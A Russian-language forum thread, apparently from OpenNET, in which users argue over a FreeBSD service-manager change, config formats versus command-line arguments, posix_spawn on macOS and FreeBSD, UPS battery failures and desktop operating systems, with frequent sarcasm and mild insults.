316. Сообщение от нах. (?), 12-Сен-26, 08:49	+/–
> Зачем? > Проще диск примонтировать и скопировать, в данном случае. не проще, потому что тебе визу не дадут - место рождения Челябинск в паспорте. И это далеко не единственный вариант когда проще все же починить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #299 Ответы: #335

317. Сообщение от нах. (?), 12-Сен-26, 09:26	+/–
> Есть конечно, профессиональные ИБП для серверов. > Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC ты нипаверишь... Нет, кнопка тестирования батарейки тебе ничем не поможет. Нет настолько "smart" упсов которые догадывались бы тестировать батарею НЕ подключая ее к реальной нагрузке (и да, нужна тестовая, нет, до такого инженерия не додумалась - ДАЖЕ в промышленных агрегатах высотой с дом). Просто "ой, чпок!" случится у тебя при нажитии кнопки, а не при реальном сбое питания. > Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже > на логику ИБП. Там используются внешние BMS (Battery Management Systems). поэтому у нас оно не просто сдохло в один непрекрасный момент, а пяток батарей взорвался нахрен. Залив все своим ядовитым содержимым так, что без химзащиты и войти-то было нельзя. (к счастью батареи не в помещении ЦОД а вообще в другом конце здания, и там никого в момент взрыва не было) Поставщик, кстати, до сих пор не ответил какого хрена и что с этим делать. Да, там есть регламент замены, без разницы еще живых или уже дохлых. Вот после замены оно и того. Вот так бывает, когда информация не из гуглопоиска, а ты на самом деле работаешь с этим не один год и знаешь цену рекламным листовочкам. Да, у такой системы не один блок, поэтому без питания осталась часть ЦОД а не весь, большое спасибо, б-ди сэр. > По поводу первого абзаца, открой для себя Ansible. Как бы без него > девопсы жили. как мы без него и без девляпсов жили - учоные спорят. Хорошо жили. Мне совершенно не нужен написанный этими рукож0пами пихоновый скриптик с ключами от всего кучкой под ковриком. Он моих проблем никаких не решает (мы вообще-то не вчера родились и как-то умели справляться за двадцать лет до его появления с массовым обслуживанием совершенно одинаковых коробок) и создает чудовищное количество новых. А теперь расскажи как он тебе поможет восстановить незагружающийся твой собственный ноут, который у тебя один такой, к примеру. > По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся > история сохраняется и можно найти какое видео смотрел, если только в малыш, мне не нужно чтобы ютуб хранил мою историю. Мне нужно чтоб у меня сохранились видео. Потому что, когда ты вырастешь, ты внезапно узнаешь, что то что ты смотрел вот вчера - сегодня посмотреть ты не сможешь. А если вырастая еще и поумнеешь - что и хорошо бы никто не мог сохранить такую историю и ее кому попало перепродать или вовсе "ответить на запрос госорганов". "а потому что нет гарантии нигде и не на что". Вот то видео что у меня реально потерялось и не оказалось в бэкапе - оно из второго разряда. > Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, > только сидят, конфиги ковыряют бесконечно. понимаешь, твоя работа сисадмином в подвальчике на три компа - не совсем то что меня интересует последние лет 25. А судя по твоим "мега-познаниям" - дальше ты пока не продвинулся.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #313

318. Сообщение от нах. (?), 12-Сен-26, 09:29	+/–
> делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd приступай, чего ты ждешь-то? А то ж ведь опять сделают не так как тебе мечталось.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #57 Ответы: #353

319. Сообщение от агент рептилоидов (?), 12-Сен-26, 09:31	+/–
> Разработчики этого проекта не были замечания в работе на аннунаков. Поскольку господа наши не одобряют работу на конкурирующие компании.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #311

320. Сообщение от нах. (?), 12-Сен-26, 09:42	+/–
> Проблема в том, что все эти форки нафиг не сдались. > posix_spawn() - вот что хочется юзать тебе в макось. Кажется, это единственная ос где он реализован не в виде враппера вокруг fork() (или clone() как в линуксе где fork сам враппер). fork() при этом там поломан настолько что им в общем случае вообще запрещено пользоваться. А авторы юникс полагали что важнее как раз не упустить деталей от parent процесса, а не максимально тщательно их зачистить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #304 Ответы: #328

326. Сообщение от Аноним (326), 12-Сен-26, 13:32	+/–
> А если надо несколько раз прогнать то есть несколько раз запустить, и что мы делаем? пишем заново руками все опции? или сохраняем в условный run.sh? Ниже в коментах описал это, это ничем не отличается от конфига, аргументы это избыточное дублирование, в коде нужно писать парсер как аргументов, так и конфига если он будет использоваться.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #315 Ответы: #336

327. Сообщение от Укропатолог (?), 12-Сен-26, 14:15	+/–
И сюда вайбкодеры добрались со своим оверинжинирингом. Вся надежда на openbsd теперь.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #337

328. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:16	+/–
Думаю мне просто подождать ещё пару лет. :) Во фрёвом мане написано что posix_spawn() работает поверх vfork(). Через пару лет сделают версию чтобы работала поверх pdfork() и проблема сама собой решится. На самом деле у меня на фре оно работает немного странно на мой взгляд, и после posix_spawn() процесс не работает, пока waitpid() не дёрнешь, а до того как его дёрнешь pid уже валидный и его можно привязать к kqueue() или засунуть в похожий механизм инукса для мониторинга процессов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #320 Ответы: #356

329. Сообщение от Укропатолог (?), 12-Сен-26, 14:17	+1 +/–
Первым признаком нацеливания на десктоп, было бы написание драйверов для блютуза, вифи, нфс, вебкамер и прочих плюшек. А это просто кому-то захотелось повайбкодить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #148 Ответы: #360

330. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:23	+/–
Так вот странно что у вас настройки системы за пределами etc и var разбросаны. Я считаю UPS устаревшей темой, при случае просто поставлю набор для солнечной автономки, который вполне себе online UPS. Там нонче BMS умные и умеют считать сколько батарея запасла энергии, так что даже тестов никаких не надо, и работа от батарей там не разовый инцендент а ежедневно используемый функционал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #305 Ответы: #341

331. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:27	–1 +/–
> По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Да вы совсем юны и наивны :) Удачи вам найти яузкий в оригинале или песенку про шпиль, тоже в оригинале а не перемыленое мыло.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #313

332. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:32	+/–
Потому что парсер комм строки - берётся из либы, внутри проги это просто цикл со свичём, тупа механическая работа по конвертации имя-значение. Тоже самое с ini, даже в случае своего парсера. Usage - просто принт с портянкой текста. Вы же там хотели чтобы процесс на лету применял новый конфиг без перезапуска. Если у вас нечто сложнее хэлло ворлда то это ппц как не привиально. Даже на примере того же nginx. У тебя есть процесс загруженый с конфигом, есть те кто уже обслуживается с теми параметрами что были заданы. Тут прибегает админ с новыми очень важным изменением - что приложению то делать с клиентами если не хочется перезапускатся с дропом? Вот nginx продолжает обслуживать тех кто уже есть со старым конфигом до тех пор пока они сами не уйдут. И только потом освобождает всё что с этим было связано. А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #301 Ответы: #358

333. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:34	+/–
Я с таким не сталкивался, попробуйте поспорить с админами/девляпсами которым код в конфиге не нравится :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #302 Ответы: #361

334. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:37	+/–
Сомнительно. Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас семеро а то щас такой прогресс случится что камня на камне не останется" :) Для читателя между строк: давайте вы поможете нам красиво выйти из положения в котором у нас дальше ничего лучше не получается.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #314 Ответы: #344

335. Сообщение от Ivan_83 (ok), 12-Сен-26, 14:39	+/–
Ну да, я как бы хостег чувствительной/нужной инфы никогда не рассматривал во вне.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #316

336. Сообщение от bergentroll (ok), 12-Сен-26, 14:39	+/–
> в коде нужно писать парсер как аргументов, так и конфига если > он будет использоваться. Не является чем-то существенным в современном ПО, тем более реализовано в библиотеках.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #326

337. Сообщение от Аноним (337), 12-Сен-26, 15:54	+/–
> И сюда вайбкодеры добрались со своим оверинжинирингом. Куда это "сюда"? UCL во фре уже больше десяти лет используется - в той же pkg.conf pkg кстати уже лет 14 как есть, с "оверинжинирнутой" sqlite базой, вместо простых и понятных текстовых файлов, которых дидам за глаза хватало 🙄 > Вся надежда на openbsd теперь. Чей-то (возможно, опыт торчания на опеннете) подсказывает, что самые активные местные "надеждальщики" и знатоки, "как нужно правильно" предпочитают надеятся и раздовать ценные указания из под макоси/венды ...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #327 Ответы: #339

338. Сообщение от User (??), 12-Сен-26, 16:07	+/–
>> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. > Так вопрос как раз в том, зачем мне нужны эти аргументы командной > строки, если я могу описать их в файле, аля конфиге, и > случай как раз таки с systemd unit, run.sh, ничем не отличается > от того, что я предлагаю - отказаться от аргументов командной строки > и использовать банальный конфиг! Можете. Убедиться в том, что программа исполняется вот именно с этой конфигурацией - уже несколько сложнее. Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Что будет при работе нескольких реплик? >> А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. > Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг > используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже > давно придуман. И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти), отдельный метод в вебне для получения runtime config из файла делаю. Я не говорю, что это "самое лучшее" и максимально универсальное решение. Просто... самое простое.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #285 Ответы: #359

339. Сообщение от Укропатолог (?), 12-Сен-26, 16:09	+1 +/–
> раздовать ценные указания из под макоси/венды Так всё верно. Адекватный человек на десктопе будет сидеть на винде или на маке, а все эти линуксы и бзди только по ssh для работы.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #337 Ответы: #348

340. Сообщение от User (??), 12-Сен-26, 16:10    Скрыто ботом-модератором	+/–
> Так оно там не рассматривалось как прям динамический конфиг ради динамичности. > Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать > логику. Уф. Как будто экономия на спичках может окупиться только если сама программа на lua, да и то - не факт. > Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в > конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Нууу... За десктоп скажу не очень много - а за все остальное - ну есть вот внешний шаблонизатор + оркестратор инфраструктуры. Зачем запихивать его возможности в само приложение - мне не ведомо. Нужна тебе динамическая адаптация\генерация - берешь какой-нибудь ansible или что там в инфре сейчас есть - и voila! > Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет > что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм > и SLA. Ну, в общем да.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #290

341. Сообщение от нах. (?), 12-Сен-26, 16:10	+/–
> Там нонче BMS умные и умеют считать сколько батарея запасла энергии упсы тоже умеют, но есть нюанс - сколько она там "запасла" (или не запасла а просадила в тепло) не равно тому сколько потом проработает под нагрузкой. В этом собака и порылась. солнечное автономное питание на домик поросенка, а не один полудохлый ноут - стоит и весит столько, что окупится (без зильонанутых подачек) ровно никогда. (у меня оно, если кто не в курсе - есть, но это именно зарядить ноут где-то в заднице мира, и лучше не думать сколько это все весит и стоит)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #330

342. Сообщение от User (??), 12-Сен-26, 16:17	+/–
> но JSON тоже - фигня та еще. Он не удобен в парсинге машине, Оу. А вы точно... ну... IT'шник? НАСТОЛЬКО не иметь представление о json'е в последние эдак 20 лет можно вот разве что работнику Яндекса: таксисту или курьеру, в смысле. > А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы, что сколько-нибудь хороший ini-парсер _сложнее_ парсера json и даже наверное догадывались бы, "почему". Но вы ээээ... юзер одного единственного решения, не имеющий ни малейшего представления о формате, который он использует и о связанной с этим форматом... специфике. > Это не означает сколь-нибудь валидную реакцию программы на произвольный json. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы - что это не задача парсера. А если бы решали хоть какие-то задачи с практическим применением, то наверное слышали бы что-нибудь про схемы данных хотя бы краем уха...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #307

343. Сообщение от User (??), 12-Сен-26, 16:26	–1 +/–
> Это вам ini кажется простым форматом, пока вы его парсер не начали > писать и не узнали что там есть разные диалекты. Да это еще полбеды... даже с самым лучшим парсером (Ну, если мы не пилим СОБСТВЕННЫЙ ЛУДШИЙ ДИАЛЕХТ) - сам формат вот... нетипизированный, и большая часть вещей, которая в нормальном случае делается парсером для ini - радостно переезжает вот в логику приложения. Радость-то кака, счастье прям!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #296

344. Сообщение от User (??), 12-Сен-26, 16:29	+/–
> Сомнительно. > Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас > семеро а то щас такой прогресс случится что камня на камне > не останется" :) > Для читателя между строк: давайте вы поможете нам красиво выйти из положения > в котором у нас дальше ничего лучше не получается. А лучше, в общем-то и не надо уже - уровень среднего миддла держит, чего больше-то?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #334

345. Сообщение от User (??), 12-Сен-26, 16:35	–1 +/–
>> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было >> кому то надо - оно бы было. >> Полагаю другие люди просто чинят загружаясь с рабочей системы, > Нет. > Тут наш местный подвальный был прав - те другие ничего не чинят > (и не умеют, кстати) да и чинить в этих поделках нечего > обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если > там были твои ценные данные - сам виноват. Вот щаз прям обидно, да! Вроде как /home все desktop linux'ы по дефолту выделяют )
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #274 Ответы: #351

346. Сообщение от User (??), 12-Сен-26, 16:42	+/–
> bsd init не имеет к этому никакого отношения, ни rc.d ни rcd > - не инит. > А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, > к примеру, запускающий mysqld, и подумай, если есть чем - что > будешь делать если надо что-то поправить (особенно - в чужой работающей > системе).  Или - хочется ли тебе написать такой же для > нового порта такой же развесистости и сложности. > И сразу поймешь, зачем. > ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном > экземпляре. Эээээ... а чего тут думать? Клаву просить надо!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #171 Ответы: #349

348. Сообщение от Аноним (337), 12-Сен-26, 17:04	+1 +/–
>> раздовать ценные указания из под макоси/венды > Так всё верно. > Адекватный человек на десктопе будет сидеть на винде или на маке И вещать про "оверинжиниринг" запускали сервисов бзд ... "И вот так у вас - все!"© И чего так скромно? В другой теме (только что наткнулся) > Сообщение от <mat3 ban> (?), 12-Сен-26, 16:17 > Открываю gimp на маке - всё красиво. Вишь, как я угадал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #339 Ответы: #350

349. Сообщение от нах. (?), 12-Сен-26, 17:18	+/–
> Эээээ... а чего тут думать? Клаву просить надо! ● Login expired · Please run /login (а неоткуда, из запрещенных стран нельзя логиниться) ну и токе... времени на самом деле не напасешься, в одиночку весь мир переделывать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #346

350. Сообщение от Укропатолог (?), 12-Сен-26, 17:25	+1 +/–
Так всё верно, работать приходится с разным железом, но для себя предпочитаю мак, ибо могу позволить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #348 Ответы: #354

351. Сообщение от нах. (?), 12-Сен-26, 17:38	+/–
у меня нет десктопов. а так да, выделяют- выделяют. Интересно, у редхатоклонов до сих пор невозможно создать лэйаут с всем местом в / без ручного указания в байтиках сколько куда (охренеть "удобно" когда размер у каждой новой системы может быть любым) ? autopart прямой поставки из 80х годов прошлого века за каким-то лешим всегда создает никому ненужный /home на все "лишнее" свободное место на диске. --nohome - внезапно... оставляет "лишнее" просто пустым. Убунту, к счастью, можно уговорить не страдать хренью и всегда использовать все свободное место на диске под один раздел. (нормально изолировать /var /srv /opt - не, нельзя, ну или придется каждый раз калькулятор использовать) ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в макоси.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #345

352. Сообщение от _ (??), 12-Сен-26, 19:23	+/–
Нет его. Ну сайтик то есть - да, а вот в-живую ты его хоть где нибудь, хоть разочек видел? Я вот не то что его не видел, я не видел никого кто бы его видел ;-) Как то такЪ(С)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #161

353. Сообщение от _ (??), 12-Сен-26, 20:04	+/–
Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму дастЪ?!(С)"
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #318 Ответы: #355

354. Сообщение от Аноним (337), 12-Сен-26, 20:32    Скрыто ботом-модератором	+/–
> но для себя предпочитаю мак, ибо могу позволить. Н-да. Ладно бы "потому что удобно", но как символ достатка и успеха ... надеюсь и чешский хрусталь в румынской стенке есть? 😀
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #350

355. Сообщение от нах. (?), 12-Сен-26, 20:44	+/–
> Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму > дастЪ?!(С)" ну хотя бы на локалхосте. учитывая сколько лет некоторым моим локалхостам - оно даже было бы оправдано. но проще, разумеется, наплевать и забыть.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #353

356. Сообщение от нах. (?), 12-Сен-26, 20:59	+/–
> Во фрёвом мане написано что posix_spawn() работает поверх vfork(). потому что это - враппер. самостоятельно делающий то что нормальный юникс-кодер и так умеет. просто синтаксический сахарок. А в макоси это чуть ли не единственное что на самом деле работает через микроядро. (да, оно там таки есть - вот в этом странном месте и почти нигде кроме) Побочный эффект, разумеется, что этот вызов - безобразно дорогой. Но, поскольку это не fork(), и не используется для обработки соединений,в немодных-несовременных программах, например - то это становится не особенно и важно. На сколько там микросекунд дольше запускается процесс который только конфиги свои читает секунды - совершенно пофигу. Зато гарантируется полная отвязка от текущего процесса - потому что с ним никак и не связано.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #328

357. Сообщение от нах. (?), 12-Сен-26, 21:03	+/–
> pidfd вот только завезли в систему. > Надо посмотреть что там внутри и можно ли это дампить на диск, файловый ("файловый") дескриптор там внутри. Нельзя, имеет смысл только в контексте процесса, как и любой fd.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #182

358. Сообщение от Аноним (326), 12-Сен-26, 22:18	+/–
> А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?) А какой ад творится когда при ddos-е в лям соединений сделать грейсфулл шатдаун, так и целый день он будет выключаться. Но и это все решаемо.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #332

359. Сообщение от Аноним (326), 12-Сен-26, 22:26	+/–
> Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Это не задача парсера конфига, это приложение само должно реализовывать. > Что будет при работе нескольких реплик? Реплики чего? Копия программы? Все зависит от требований, нужно на каждый запущенный экземпляр создавать config.lock? - Создавай в чем проблема? Process id есть, всегда можно понять и по логам или по файлу config.pid.lock понять. Не вижу проблемы. > И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти) :) смешной, так реализуйте нормально, в чем проблема? Логи ваши сротируются? Так пиши в отдельный конфиг лог, в чем проблема? Я проблемы не вижу, если стоит задача определять конфиг запущенного приложения - сохраняй этот конфиг после запуска и все. Как хранишь, что хранишь, сколько времени хранишь - это дело второстепенное, и зависит от задач, а не от моего ответа как это делать. > отдельный метод в вебне для получения runtime config из файла делаю. Ага еще и телеграм бота прикрути и будет вообще веб-2.0 :) ваше дело, ваше право, как и указал выше. И это все решаемо и проблем я не вижу!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #338

360. Сообщение от _ (??), 12-Сен-26, 22:26	+/–
И как же ты его напишешь если производитель шелезяки сам не пишет и другим не даеЁт? Реверсить виндовые драйвера? Или сразу железку? Ну дык таких упоротых больше не делают, так что вряд ли :-\
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #329

361. Сообщение от Аноним (326), 12-Сен-26, 22:29	+/–
> попробуйте поспорить не в том возрасте, навидался и суровых сисадминов, и всяких девляпсов, вывод один - х*як, х*як и в продакшен, так было всегда, но не везде!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #333

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема